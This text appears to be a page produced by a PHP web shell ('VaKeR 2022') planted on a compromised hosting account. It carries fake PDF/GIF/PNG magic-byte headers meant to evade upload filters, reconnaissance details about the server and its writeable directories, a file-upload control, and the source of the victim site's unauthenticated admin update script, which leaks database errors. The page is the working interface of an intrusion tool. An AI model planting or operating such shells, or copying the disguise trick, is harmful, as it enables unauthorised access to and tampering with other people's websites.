%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/admin/projectcategoryupdatedata.php
<?php
include('../dbcon.php');

$id = mysqli_real_escape_string($conn, $_POST['sid']);
$category = mysqli_real_escape_string($conn, $_POST['category']);
$category_ar = mysqli_real_escape_string($conn, $_POST['category_ar']);

$qry = "UPDATE `arawecovercategory` SET `category` = '$category', `category_ar` = '$category_ar' WHERE `id` = '$id'";

$run = mysqli_query($conn, $qry);

if ($run === true) {
    echo "<script>
        alert('Services Category Updated Successfully');
        window.open('projectcategoryshow.php?sid=$id', '_self');
        </script>";
} else {
    echo "<script>alert('Database Error: " . mysqli_error($conn) . "');</script>";
}
?>

VaKeR 2022